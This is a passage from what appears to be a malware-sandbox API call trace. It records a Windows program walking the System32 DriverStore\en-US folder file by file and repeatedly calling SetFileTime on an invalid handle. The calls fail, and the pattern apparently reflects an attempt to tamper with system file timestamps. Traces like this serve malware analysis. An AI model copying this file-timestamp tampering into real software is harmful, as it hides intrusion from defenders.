lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.912] CloseHandle (hObject=0xffffffff) returned 0 [0144.912] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr004.inf_loc", cAlternateFileName="")) returned 1 [0144.912] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.912] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmbr002.inf_loc") returned="mdmbr002.inf_loc" [0144.913] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.913] CloseHandle (hObject=0xffffffff) returned 0 [0144.913] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr005.inf_loc", cAlternateFileName="")) returned 1 [0144.913] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.914] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmbr004.inf_loc") returned="mdmbr004.inf_loc" [0144.914] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.914] CloseHandle (hObject=0xffffffff) returned 0 [0144.914] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr006.inf_loc", cAlternateFileName="")) returned 1 [0144.914] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.914] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmbr005.inf_loc") returned="mdmbr005.inf_loc" [0144.915] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.915] CloseHandle (hObject=0xffffffff) returned 0 [0144.915] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr007.inf_loc", cAlternateFileName="")) returned 1 [0144.915] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.915] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmbr006.inf_loc") returned="mdmbr006.inf_loc" [0144.915] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.915] CloseHandle (hObject=0xffffffff) returned 0 [0144.916] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr008.inf_loc", cAlternateFileName="")) returned 1 [0144.916] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.916] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmbr007.inf_loc") returned="mdmbr007.inf_loc" [0144.916] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.916] CloseHandle (hObject=0xffffffff) returned 0 [0144.917] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbr00a.inf_loc", cAlternateFileName="")) returned 1 [0144.917] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.917] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmbr008.inf_loc") returned="mdmbr008.inf_loc" [0144.917] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.917] CloseHandle (hObject=0xffffffff) returned 0 [0144.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmbtmdm.inf_loc", cAlternateFileName="")) returned 1 [0144.918] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.918] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmbr00a.inf_loc") returned="mdmbr00a.inf_loc" [0144.918] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.918] CloseHandle (hObject=0xffffffff) returned 0 [0144.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2460, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcxhv6.inf_loc", cAlternateFileName="")) returned 1 [0144.918] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.919] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmbtmdm.inf_loc") returned="mdmbtmdm.inf_loc" [0144.919] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.919] CloseHandle (hObject=0xffffffff) returned 0 [0144.919] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x166a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmcxpv6.inf_loc", cAlternateFileName="")) returned 1 [0144.919] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.919] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmcxhv6.inf_loc") returned="mdmcxhv6.inf_loc" [0144.920] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.920] CloseHandle (hObject=0xffffffff) returned 0 [0144.920] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaca, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgen.inf_loc", cAlternateFileName="")) returned 1 [0144.920] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.920] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmcxpv6.inf_loc") returned="mdmcxpv6.inf_loc" [0144.921] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.921] CloseHandle (hObject=0xffffffff) returned 0 [0144.921] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x542, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmhayes.inf_loc", cAlternateFileName="")) returned 1 [0144.921] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.921] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmgen.inf_loc") returned="mdmgen.inf_loc" [0144.921] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.922] CloseHandle (hObject=0xffffffff) returned 0 [0144.922] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmirmdm.inf_loc", cAlternateFileName="")) returned 1 [0144.922] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.922] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmhayes.inf_loc") returned="mdmhayes.inf_loc" [0144.922] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.922] CloseHandle (hObject=0xffffffff) returned 0 [0144.922] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x38e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmmoto1.inf_loc", cAlternateFileName="")) returned 1 [0144.922] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.923] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmirmdm.inf_loc") returned="mdmirmdm.inf_loc" [0144.923] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.923] CloseHandle (hObject=0xffffffff) returned 0 [0144.923] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xf4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmusrk1.inf_loc", cAlternateFileName="")) returned 1 [0144.923] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.924] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmmoto1.inf_loc") returned="mdmmoto1.inf_loc" [0144.924] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.924] CloseHandle (hObject=0xffffffff) returned 0 [0144.924] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x492, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmvv.inf_loc", cAlternateFileName="")) returned 1 [0144.924] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.924] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmusrk1.inf_loc") returned="mdmusrk1.inf_loc" [0144.925] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.925] CloseHandle (hObject=0xffffffff) returned 0 [0144.925] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="megasas.inf_loc", cAlternateFileName="")) returned 1 [0144.925] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.925] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mdmvv.inf_loc") returned="mdmvv.inf_loc" [0144.925] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.926] CloseHandle (hObject=0xffffffff) returned 0 [0144.926] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="megasas2.inf_loc", cAlternateFileName="")) returned 1 [0144.926] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.926] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\megasas.inf_loc") returned="megasas.inf_loc" [0144.926] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.926] CloseHandle (hObject=0xffffffff) returned 0 [0144.927] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8fa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="megasr.inf_loc", cAlternateFileName="")) returned 1 [0144.927] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.927] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\megasas2.inf_loc") returned="megasas2.inf_loc" [0144.927] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.927] CloseHandle (hObject=0xffffffff) returned 0 [0144.927] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x422, dwReserved0=0x0, dwReserved1=0x0, cFileName="memory.inf_loc", cAlternateFileName="")) returned 1 [0144.927] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.927] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\megasr.inf_loc") returned="megasr.inf_loc" [0144.928] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.928] CloseHandle (hObject=0xffffffff) returned 0 [0144.928] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x150, dwReserved0=0x0, dwReserved1=0x0, cFileName="mf.inf_loc", cAlternateFileName="")) returned 1 [0144.928] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.928] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\memory.inf_loc") returned="memory.inf_loc" [0144.928] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.928] CloseHandle (hObject=0xffffffff) returned 0 [0144.929] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca56611, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca56611, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x870, dwReserved0=0x0, dwReserved1=0x0, cFileName="modemcsa.inf_loc", cAlternateFileName="")) returned 1 [0144.929] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.929] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mf.inf_loc") returned="mf.inf_loc" [0144.929] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.929] CloseHandle (hObject=0xffffffff) returned 0 [0144.929] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca30358, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca30358, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bf04, dwReserved0=0x0, dwReserved1=0x0, cFileName="monitor.inf_loc", cAlternateFileName="")) returned 1 [0144.929] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.929] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\modemcsa.inf_loc") returned="modemcsa.inf_loc" [0144.930] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.930] CloseHandle (hObject=0xffffffff) returned 0 [0144.930] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpio.inf_loc", cAlternateFileName="")) returned 1 [0144.930] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.930] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\monitor.inf_loc") returned="monitor.inf_loc" [0144.930] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.930] CloseHandle (hObject=0xffffffff) returned 0 [0144.930] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd04d2f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd04d2f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="msclmd.inf_loc", cAlternateFileName="")) returned 1 [0144.930] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.931] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\mpio.inf_loc") returned="mpio.inf_loc" [0144.931] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.931] CloseHandle (hObject=0xffffffff) returned 0 [0144.931] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x252, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdri.inf_loc", cAlternateFileName="")) returned 1 [0144.931] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.931] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\msclmd.inf_loc") 